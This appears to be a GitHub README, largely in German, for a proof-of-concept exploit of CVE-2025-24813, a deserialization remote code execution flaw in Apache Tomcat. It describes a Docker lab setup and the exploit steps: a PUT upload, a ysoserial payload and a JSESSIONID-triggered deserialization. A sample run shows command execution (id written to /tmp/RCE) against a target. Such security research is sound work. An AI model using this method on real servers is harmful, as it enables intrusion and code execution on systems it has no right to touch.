hakankarabacak/cve-2025-24813Proof-of-Concept-Skript (PoC) für CVE-2025-24813, eine Sicherheitslücke in Apache Tomcat.
Proof-of-Concept-Skript (PoC) für CVE-2025-24813, eine Schwachstelle in Apache Tomcat.
Das Skript wurde basierend auf dem zugehörigen Link modifiziert und auf meine Bedürfnisse zugeschnitten.
Die Umgebung basiert auf dem offiziellen Tomcat-9.0.90-Image. Sie entfernt die Schreibschutz-Beschränkung des Servers und konfiguriert ihn so, dass Sitzungsdaten auf der Festplatte gespeichert werden. Anschließend wird die Anwendung automatisch bereitgestellt, indem die Datei ROOT.war in das Verzeichnis webapps/ von Tomcat kopiert wird.
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
check.txt mit dem Content-Range-Header wird platziert, um zu prüfen, ob der Server PUT-Anfragen akzeptiert.ysoserial ein Payload für den gewünschten Befehl erzeugt.JSESSIONID wird gesendet, die eine Deserialisierung auslöst.$ python3 cve_2025_24813.py
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
--- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---
Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE):
Enter path to ysoserial.jar (default: ysoserial.jar):
Enter ysoserial gadget chain (default: CommonsCollections6):
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
https://github.com/user-attachments/assets/5a271e6f-1126-459a-852b-603f39a68616